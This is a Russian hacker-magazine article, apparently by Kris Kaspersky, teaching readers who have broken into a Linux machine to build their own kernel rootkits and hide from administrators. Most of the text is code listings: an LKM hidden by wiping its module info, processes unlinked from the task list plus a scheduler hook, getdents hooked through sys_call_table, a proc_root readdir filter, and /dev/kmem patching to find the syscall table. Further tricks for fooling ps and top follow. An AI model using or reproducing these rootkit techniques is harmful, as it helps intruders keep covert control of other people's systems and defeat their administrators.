linux.hide

прятки в linux

крис касперски ака мыщъх, no-email

простым и доходчивым языком мы расскажем, как спрятать свои файлы, процессы и сетевые соединения под осью типа Линух с ядрами версий 2.4 – 2.6, обобщая опыт хакерских атак нескольких последних лет. это не руководство по настройке adore, которых пруд пруди в сети, это — самоучитель по созданию собственных rootkit'ов, намного более крутых, надежных и неуловимых, чем adore и knark все вместе взятые.

Проникнуть на атакующему машину это еще не все! Необходимо спрятать свои файлы, процессы и сетевые соединения, иначе придет админ и выбросит нас из системы на хрен[и все похерит]. Этим занимается adore, knark и другие rootkit'ы, которые легко найти в сети, правда не все из них работают. К тому же против любого широко распространенного rootkit'а, каким бы хитроумным он ни был, разработаны специальные методы борьбы.

Настоящий хакер, тем и отличается от жалкого подобия своих подражателей, что разрабатывает весь необходимый инструментарий самостоятельно или на худой конец адоптирует уже существующий. Хотите узнать как это сделать? Тогда читайте эту статью до конца.

Рисунок 1 последствия abore 0.42, запущенного из-под KNOPPIX 3.7 LiveCD

Подавляющее большинство методик стелсирования работает на уровне ядра, пристыковываясь к нему в виде загружаемого модуля (LoadableKernelModule или сокращенно LKM). В программировании модулей нет ничего сложного, особенно для старых ядер с версией 2.4.

Исходный текст простейшего модуля выглядит так:

сообщаем компилятору, что это модуль режима ядра #define MODULE #define KERNEL подключаем заголовочный файл для модулей

#include <linux/module.h>

на многоЦП'шных машинах подключаем еще и smp_lock #ifdef SMP #include <linux/smp_lock.h> #endif функция, выполняющая при загрузке модуля

int init_module(void)

{

свершилось! мы вошли в режим ядра и теперь можем делать _все_ что угодно!

с порога ссать, с балкона мусор кидать, баб е…

мяукнем что-нибудь printk(«\nWOW! Our module has been loaded!\n»); успешная инициализация

return(0);

}

функция, выполняющаяся при выгрузке модуля void cleanup_module(void) { мяукнем что-нибудь

printk(«\nFuck! Our module has been unloaded\n»);

}

пристыковываем лицензию, по которой распространяется данный файл, если этого не сделать, модуль успешно

загрузится, но операционная система выдаст warring, сохраняющийся в логах и привлекающий внимание админов

MODULE_LICENSE(«GPL»);

Листинг 1 скелет простейшего модуля для ядер с версией 2.4

Начиная с версии 2.6 в ядре произошли значительные изменения и теперь программировать приходится так:

#ifdef LINUX26

static int init my_init() #else int init_module() #endif #ifdef LINUX26 static void exit my_cleanup()

#else

int cleanup_module()

#endif

#ifdef LINUX26

module_init(my_init);

module_exit(my_cleanup);

#endif

Листинг 2 скелет простейшего модуля для ядер с версией 2.6

За подробностями обращайтесь к man'у («man –k module»), официальной документации (/usr/src/linux/Documentation/modules.txt) или книге «Linuxkernelinternails», которую легко найти в Осле. Как бы там ни было, только что написанный модуль необходимо откомпилировать: «gcc c my_module.o my_module.o» (настоятельно рекомендуется задействовать оптимизацию, добавив ключ –O2 или -O3), а затем загрузить внутрь ядра: «insmod my_module.o». Загружать модули может только root. Не спрашивайте меня, как его получить — это тема отдельного разговора. Чтобы модуль автоматически загружался вместе с операционной системой — добавьте его в файл /etc/modules.

Команда «lsmod» (или «dd if=/proc/modules bs=1») отображает список загруженных модулей, а «rmmod my_module» выгружает модуль из памяти. Обратите внимание на отсутствие расширения в последней случае.

Module Size Used by Tainted: P

my_module 240 0 (unused)

parport_pc 25128 1 (autoclean)

lp 7460 0

processor 9008 0 [thermal]

fan 1600 0 (unused)

button 2700 0 (unused)

rtc 7004 0 (autoclean)

BusLogic 83612 2 (autoclean)

ext3 64388 1 (autoclean)

Листинг 3 список модулей, выданный командой lsmod, строка с нашим модулем выделена полужирным шрифтом

Неожиданное появление новых модулей всегда настораживает админов, поэтому прежде чем приступать к боевым действиям, мы должны как следует замаскироваться. Автору известно три способа маскировки: а) исключение модуля из списка модулей (метод J.B., см. файл modhide1.c) – крайне ненадежен, препятствует нормально работе ps, top и других подобных утилит, часто роняет систему; б) перехват обращений к /proc/modules (метод Runar'aJensen'а, опубликованный на Bugtraq и реализующийся так же, как и перехват остальных обращений к файловой системе) — довольно громоздкий и ненадежный метод, бессильный против команды «dd if=/proc/modules bs=1»; в) затирание структуры module info (метод Solar'a Designer'a, описанный в статье «Weakening the Linux Kernel», опубликованной в 52 номере PHRACK'a) — элегантный и довольно надежный. Расскажем о нем поподробнее.

Вся информация о модуле хранится в структуре module info, содержащейся внутри системного вызова sys_init_module(). Подготовив модуль к загрузке и заполнив module info надлежащим образом, он передает управление нашей функции init_module (см. «man init_module»). Любопытная особенность ядра — безымянные модули без референсов не отображаются! Чтобы удалить модуль из списка достаточно обнулить поля name и refs. Это легко. Определить адрес самой module info намного сложнее. Ядро не заинтересовано сообщать его первому встречному хакеру и приходится действовать исподтишка. Исследуя мусор, оставшийся в регистрах, на момент передачи управления init_module, SolarDsigner обнаружил, что в одним из них содержится указатель на… module info! В его версии ядра это был регистр EBX, в иных версиях он может быть совсем другим или даже вовсе никаким. К тому же существует специальная заплатка для старых ядер, затыкающая эту лазейку, правда, далеко не у всех она установлена. Впрочем, эффективный адрес module info легко установить дизассемблированием, точнее не адрес module info(память под него выделяется динамически), а адрес машинной инструкции, ссылающейся на module info. Правда, в каждой версии ядра он будет своим…

Простейший пример маскировки выглядит так (кстати, в PHRACK'e опечатка: «ref» вместо «refs»):

int init_module()

{

register struct module *mp asm(«%ebx»); подставьтесюдарегистр, в котором ваше ядро держит

адрес module info *(char*)mp→name=0; затираем имя модуля

mp→size=0; затираем размер mp→refs=0; затираем референсы

}

Листинг 4 маскировка модуля методом Solar'aDsigner'a

Неправильное определение адреса module info скорее всего уронит ядро системы или заблокирует просмотр списка модулей, что сразу же насторожит администратора (см. рис 2). Но у нас есть в запасе еще один вариант.

Просматриваем список установленных модулей, находим из них самый ненужный, выгружаем его из памяти, и загружаем свой — с таким же точно именем. Если нам повезет, администратор ничего не заметит…

Рисунок 2 последствия маскировки модуля методом Solar'aDsigner'a — команды insmod/lsmod/rmmod больше не работают

Перечень всех процессоров хранится внутри ядра в виде двунаправленного списка task_struct, определение которого можно найти в файле linux/sched.h. next_task указывает на следующий процесс в списке, prev_task – на предыдущий. Физически task_struct содержится внутри PCB-блоков (ProcessControlBlock), адрес которых известен каждому процессу. Переключение контекста осуществляется планировщиком (scheduler), который определяет какой процесс будет выполняется следующим (см. рис 3). Если мы исключим наш процесс из списка, он автоматически исчезнет из списка процессов /proc, но больше никогда не получит управление, что в наши планы вообще-то не входит.

Рисунок 3 организация процессов в Линухе

Просматривая список процессов, легко обнаружить, что в нем отсутствует процесс, PID которого равен нулю. А ведь такой процесс (точнее — псевдопроцесс) есть! Он создается операционной системой для подсчета загрузки ЦП и прочих служебных целей.

Допустим, нам необходимо скрыть процесс с идентификатором 1901. Исключаем его из двунаправленного списка, склеивая между собой поля next_task/prev_task двух соседних процессов. Подцепляем наш процесс к процессу с нулевым PID'ом, оформляя себя как материнский процесс (за это отвечает поле p_pptr) и… модифицируем код планировщика так, чтобы родитель процесса с нулевым PID'ом хотя бы эпизодически получал управление (см. рис 4). Если необходимо скрыть более одного процесса, их можно объединить в цепочку, используя поле p_pptr или любое другое реально незадействованное поле.

Рисунок 4 удаление процесса из двунаправленного списка процессов

Исходный код планировщика содержится в файле /usr/src/linux/kernel/sched.c. Нужный нам фрагмент легко найти по ключевому слову «goodness» (имя функции, определяющей «значимость» процесса в глазах планировщика). В различных ядрах он выглядит по разному. Например, моя версия реализована так:

c = -1000; начальное значение «веса» ищем процесс с наибольшим «весом» в очереди исполняющихся процессов

while (p != &init_task)

{

определяем «вес» процесса в глазах планировщика (т.е. степень его нужды в процессорном времени)

weight = goodness(prev, p);

выбираем процесс сильнее всех нуждающихся в процессорном времени для процессоров с одинаковым «весом» используем поле prev

if (weight > c)

{

c = weight; next = p;

}

p = p→next_run;

}

if (!c)

{

все процессы выработали свои кванты, начинаем новую эпоху хорошее место, чтобы добавить передачу управления на замаскированный процесс

}

Листинг 5 сердце планировщика

Процедура внедрения в планировщик осуществляется по стандартной схеме: а) сохраняем затираемые инструкции в стеке; б) вставляем команду перехода на нашу функцию, распределяющую процессорные кванты нулевого процесса среди скрытых процессов; в) выполняем ранее сохраненные инструкции; г) возвращаем управление функции-носителю.

Простейшая программная реализация выглядит так:

/*

DoubleChain, a simple function hooker

by Dark-Angel Dark0@angelfire.com

*/

#define KERNEL

#define MODULE

#define LINUX

#include <linux/module.h>

#define CODEJUMP 7

#define BACKUP 7

/* The number of the bytes to backup is variable (at least 7),

the important thing is never break an istruction

*/

static char backup_one[BACKUP+CODEJUMP]=«\x90\x90\x90\x90\x90\x90\x90»

«\xb8\x90\x90\x90\x90\xff\xe0»;

static char jump_code[CODEJUMP]=«\xb8\x90\x90\x90\x90\xff\xe0»;

#define FIRST_ADDRESS 0xc0101235 Address of the function to overwrite unsigned long *memory; void cenobite(void) { printk(«Function hooked successfully\n»); asm volatile(«mov %ebp,%esp;popl %esp;jmp backup_one); /* This asm code is for stack-restoring. The first bytes of a function (Cenobite now) are always for the parameters pushing.Jumping away the function can't restore the stack, so we must do it by hand. With the jump we go to execute the backupped code and then we jump in the original function. */ } int init_module(void) { *(unsigned long *)&jump_code[1]=(unsigned long )cenobite; *(unsigned long *)&backup_one[BACKUP+1]=(unsigned long)(FIRST_ADDRESS+ BACKUP); memory=(unsigned long *)FIRST_ADDRESS; memcpy(backup_one,memory,CODEBACK); memcpy(memory,jump_code,CODEJUMP); return 0; } void cleanup_module(void) { memcpy(memory,backup_one,BACKUP); } Листинг 6 процедура-гарпун, вонзающаяся в тело планировщика Поскольку, машинное представление планировщика зависит не только он версии ядра, но и от ключей компиляции, атаковать произвольную систему практически нереально. Предварительно необходимо скопировать ядро на свою машину и дизассемблировать его, а после разработать подходящую стратегию внедрения. Если атакуемая машина использует штатное ядро, мы можем попробовать опознать его версию по сигнатуре, используя заранее подготовленную стратегию внедрения. Далеко не все админы перекомпилируют свои ядра, поэтому такая тактика успешно работает. Впервые она была представлена на европейской конференции Black Hat в 2004 году, электронная презентация которой находится в файле http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-butler.pdf. По этому принципу работают многие rootkit'ы и, в частности, Phantasmagoria. ===== перехват системных вызовов ===== Помните MS-DOS? Там стелстирование осуществлялось путем подмены прерываний int 13h/int 21h. В LINUX для той же цели используется перехват системных вызовов (system call или сокращенно syscall). Для сокрытия процессов и файлов достаточно перехватить всего один низ них — getdents, на которую опирается всем известная readdir, которая, в полном согласии со своим именем, читает содержимое директорий (и директории /proc в том числе! Другого легального способа просмотра списка процессов под LINUX в общем-то и нет). Функция-перехватчик садится поверх getdents и просматривает возращенный ею результат, выкусывая из него все «лишнее», то есть работает как фильтр. Сетевые соединения стелсируется аналогичным образом (они монтируются на /proc/net). Чтобы замаскировать сниффер, необходимо перехватить системный вызов ioctl, подавляя PROMISC-флаг. А перехват системного вызова get_kernel_symbols позволяет замаскировать LKM-модуль так, что его никто не найдет. Звучит заманчиво. Остается только реализовать это на практике. Ядро экспортирует переменную extern void sys_call_table, содержащую массив указателей на syscall'ы, каждая ячейка которого содержит либо действительный указатель на соответствующий syscall, либо NULL, свидетельствующий о том, что данный системный вызов не реализован. Просто объявите в своем модуле переменную *sys_call_table[] и тогда все системные вызовы окажутся в ваших руках. Имена известных syscall'ов перечислены в файле /usr/include/sys/syscall.h. В частности, sys_call_table[SYS_getdents] возвращает указатель на getdents. Простейший пример перехвата выглядит так (за более подробной информацией обращайтесь к статье «Weakening the Linux Kernel», опубликованной в 52 номере PHRACK'а): указатель на таблицу системных вызовов

extern void *sys_call_table[];

указатели на старые системные вызовы int (*o_getdents) (uint, struct dirent *, uint); перехват!

int init_module(void)

{

получаем указатель на оригинальный системный вызов SYS_getdents

и сохраняем его в переменной o_getdents o_getdents = sys_call_table[SYS_getdents]; заносим указатель на функцию перехватчик

(код самого перехватчика для экономии здесь не показан) sys_call_table[SYS_getdents] = (void *) n_getdents; возвращаемся

return 0;

}

восстановление оригинальных обработчиков void cleanup_module(void) { sys_call_table[SYS_getdents] = o_getdents; } Листинг 7 техника перехвата системных вызовов По такому принципу работает подавляющее большинство rootkit'ов, правда, попав на неизвестное ядро, часть из них со страшным грохотом падает, а часть просто прекращает работу, что и не удивительно! Ведь раскладка системных вызовов меняется от ядра к ядру! Рисунок 5 последствия неудачного перехвата системных вызовов ===== перехват запросов к файловой системе ===== Ядро экспортирует переменную proc_root — корневой узел (root inode) виртуальной файловой системы proc_root, традиционно монтируемой на директорию /proc. При желании мы можем установить поверх нее свой собственный фильтр-обработчик, скрывающий хакерские процессы от чужих глаз. В отличии от системных вызовов, перехват переменной proc_root не чувствителен к версии ядра, а это уже преимущество! Простейший перехватчик может выглядеть так (за более подробной информацией обращайтесь к статье «Sub proc_root Quando Sumus», опубликованной в 3Ah номере PHRACK'a): глобальный указатель на оригинальную filldir-функцию

filldir_t real_filldir;

static int new_filldir_root (void* buf,const char* name,int namlen,off_t offset, ino_t ino) { анализируем каждое имя в директории, если это имя того модуля/процесса/файла/сетевого соединения, которое мы хотим скрыть, возвращаем нуль, в противном случае передаем управление оригинальной filldir-функции if (isHidden (name)) return 0; return real_filldir (buf, name, namlen, offset, ino); } новая функция readdir int new_readdir_root (struct file *a, void *b, filldir_t c) { инициализируем указатель на оригинальную filldir-функцию вообще-то, это необязательно делать каждый раз, просто так нам так проще… real_filldir = c; return old_readdir_root (a, b, new_filldir_root); } устанавливаем свой собственный фильтр proc_root.FILE_OPS→readdir = new_readdir_root; Листинг 8 новый фильтр для файловой системы proc_root ===== когда модули недоступны… ===== Для борьбы с LKM-rootkit'ами некоторые админы компилируют ядро без поддержки загружаемых модулей и удаляют файл System.map, лишая нас таблицы символов. А без нее хрен что найдешь. Но хакеры выживают даже в этих суровых условиях…. Идеология UNIX выгодно отличается от Windows тем, что любая сущность (будь то устройство, процесс или сетевое соединение) монтируется на файловую систему, подчинясь общим правилам. Не избежала этой участи и оперативная память, представленная «псеводустройствами» /dev/mem (физическая память до виртуальной трансляции) и /dev/kmem (физическая память после виртуальной трансляции). Манипулировать с данными устройствами может только root, однако, спускаться на уровень ядра ему необязательно, а, значит, поддержка модульности нам не нужна! Следующие функции демонстрируют технику чтения/записи ядерной памяти с прикладного уровня: чтение данных из /dev/kmem static inline int rkm(int fd, int offset, void *buf, int size) { if (lseek(fd, offset, 0) != offset) return 0; if (read(fd, buf, size) != size) return 0; return size; } запись данных в /dev/kmem static inline int wkm(int fd, int offset, void *buf, int size) { if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size; } Листинг 9 чтение/запись в/из /dev/kmem Остается только найти во всем этом мусоре таблицу системных вызовов. Да как же мы ее найдем, если никакой символьной информации у нас нет?! Без паники! Нам помогут центральный процессор и машинный код обработчика прерывания INT 80h, которое этими системными вызовами, собственно говоря, и заведует. Его дизассемблерный листинг в общем случае выглядит так: 0xc0106bc8 <system_call>:push%eax 0xc0106bc9 <system_call+1>:cld 0xc0106bca <system_call+2>:push%es 0xc0106bcb <system_call+3>:push%ds 0xc0106bcc <system_call+4>:push%eax 0xc0106bcd <system_call+5>:push%ebp 0xc0106bce <system_call+6>:push%edi 0xc0106bcf <system_call+7>:push%esi 0xc0106bd0 <system_call+8>:push%edx 0xc0106bd1 <system_call+9>:push%ecx 0xc0106bd2 <system_call+10>:push%ebx 0xc0106bd3 <system_call+11>:mov$0x18,%edx 0xc0106bd8 <system_call+16>:mov%edx,%ds 0xc0106bda <system_call+18>:mov%edx,%es 0xc0106bdc <system_call+20>:mov$0xffffe000,%ebx 0xc0106be1 <system_call+25>:and%esp,%ebx 0xc0106be3 <system_call+27>:cmp$0x100,%eax 0xc0106be8 <system_call+32>:jae0xc0106c75 <badsys> 0xc0106bee <system_call+38>:testb$0x2,0x18(%ebx) 0xc0106bf2 <system_call+42>:jne0xc0106c48 <tracesys> 0xc0106bf4 <system_call+44>:call*0xc01e0f18(,%eax,4) ←- that's it 0xc0106bfb <system_call+51>:mov%eax,0x18(%esp,1) 0xc0106bff <system_call+55>:nop Листинг 10 фрагмент дизассемблерного листинга обработчика прерывания INT 80h Смотрите, по адресу 0C0106BF4h расположена команда CALL, непосредственным аргументом которой является… указатель на таблицу системных вызовов! Адрес команды CALL может меняться от одного ядра к другому, или это даже может быть совсем не CALL – в некоторых ядрах указатель на таблицу системных вызовов передается через промежуточный регистр командой MOV. Короче, нам нужна команда, одним из аргументов который является непосредственный операнд X > 0C000000h. Естественно, чтобы его найти потребуется написать простенький дизассемблер (звучит страшнее, чем выглядит) или найти готовый движок в сети. Там их до… ну в общем много. А как найти адрес обработчика INT 80h в файле /dev/kmem? Просто спросите об этом процессор — он скажет. Команда SIDT возвращает содержимое таблицы дескрпыторов прерываний (InterruptDescriptorTable), восьмидесятый'h элемент с краю и есть наш обработчик! Ниже приведен фрагмент кода, определяющего позицию таблицы системных вызовов в /dev/kmem(полная версия содержится в статье «Linux on-the-fly kernel patching without LKM» из 3Ah номера PHRACK'а): анализируем первые 100 байт обработчика #define CALLOFF 100 main () { unsigned sys_call_off; unsigned sct; char sc_asm[CALLOFF],*p; читаем содержимое таблицы прерываний asm («sidt %0» : »=m« (idtr)); printf(«idtr base at 0x%X\n»,(int)idtr.base); открываем /dev/kmem kmem = open (»/dev/kmem«,O_RDONLY); if (kmem<0) return 1; считывает код обработчика INT 80h из /dev/kmem readkmem (&idt,idtr.base+8*0x80,sizeof(idt)); sys_call_off = (idt.off2 « 16) | idt.off1; printf(«idt80: flags=%X sel=%X off=%X\n», (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off); ищем косвенный CALL с непосредственным операндом код самой функции dispatch здесь не показан dispatch (indirect call) */ readkmem (sc_asm,sys_call_off,CALLOFF); p = (char*)memmem (sc_asm,CALLOFF,»\xff\x14\x85«,3); sct = *(unsigned*)(p+3); if (p) { printf («sys_call_table at 0x%x, call dispatch at 0x%x\n», sct, p); } close(kmem); } Листинг 11 поиск обработчика INT 80h внутри /dev/kmem Рисунок 6 просмотр /dev/mem в hex-редакторе ===== прочие методы борьбы ===== Консольные версии утилит типа ps или top легко обмануть с помощью длинной цепочки пробелов или символов возврата строки, затирающих оригинальное имя. Конечно, опытного админа так не проведешь, да и против KDE-мониторов такой прием совершенно бессилен, однако, можно попробовать замаскироваться под какой-нибудь невинный процесс наподобие vi или bash. Правда и здесь все не так просто! Ну кто в наше время работает в vi? И откуда взялась «лишняя» оболочка? Наблюдательный админ это сразу заметит. А может и нет… у многих из нас сразу запущенно несколько копий оболочек — кто их считает! Еще можно внедриться в какой-нибудь пользовательский процесс при помощи ptrace (см. мою статью в хакере, описывающую отладку под UNIX) – хрен там нас найдешь. На худой конец можно вообще отказаться от маскировки. Процессов в системе много. За всеми и не уследишь. Главное — периодически расщеплять свой процесс на два и прибивать оригинал. Этим мы ослепляем утилиту top, сообщающую админу сколько времени отработал тот или иной процесс. ===== »> врезка выноски ===== - adore и многие другие rootkit'ы не работает на системах, загружающихся с носителей только-на-чтение (в частности, с LiveCD), приводя к «отказу в обслуживании»; - adore и многие другие rootkit'ы не работают на многопроцессорных системах (а таким являются практически все сервера), поскольку лезут в планировщик, вместо того, чтобы перехватывать системные вызовы или proc_root; - adore и многие другие rootkit'ы не содержат строки MODULE_LICENCE(«GPL»), заставляя систему материться при их загрузке; ===== »> врезка что читать ===== - Linux kernel internails - замечательная книга, созданная коллективом башковитых немецких парней, толково и без воды описывающих внутренности линухового ядра (на английском языке); - (nearly) Complete Linux Loadable Kernel Modules - хакерское руководство по написанию модулей под Линух и частично под FreeBSD, не стесняющееся говорить о вирусах и rootkit'ах (на английском языке): http://packetstormsecurity.org/docs/hack/LKM_HACKING.html;__ - Direct Kernel Object Manipulation - презентация с конференции BlackHat, рассказывающая как маскируются файлы, процессы и сетевые соединения под Windows и Линух: http:www.blackhat.com/presentations/bh-europe-04/bh-eu-04-butler.pdf; - Abuse of the Linux Kernel for Fun and Profit PHRACK-50 - посредственная статья о создании LKM-модулей и перехвате системных вызовов под старым Линухом; - Weakening the Linux Kernel PHRACK-52 - замечательная статья о создании LKM-модулей для сокрытия файлов, процессов и сетевых соединений под старым Линухом; - Sub proc_root Quando Sumus PHRACK-58 - кратко о маскировке путем установки своего фильтра поверх VFS; - Linux on-the-fly kernel patching without LKM PHRACK-58 - перехват системных вызовов без LKM и символьной информации; - Infecting loadable kernel modules PHRAСK-61 - заражение LKM-модулей; - Kernel Rootkit Experiences PHRAСK-61 - статья Stealth'a (автора небезызвестного Adore), обобщающая его опыт создания LKM-Rootkit'ов; ===== заключение ===== Настоящие информационные войны только начинаются… Хакеры сидят в подполье и оттачивают свое мастерство. Количество дыр нарастает как снежный ком, операционные системы и серверные приложения латаются чуть ли не каждый день, стремительно увеличиваясь в размерах и сложности. Уже и разработчики не знаю сколько в них файлов и кто за что отвечает. Затеряться в этих условиях становится не просто, а очень просто!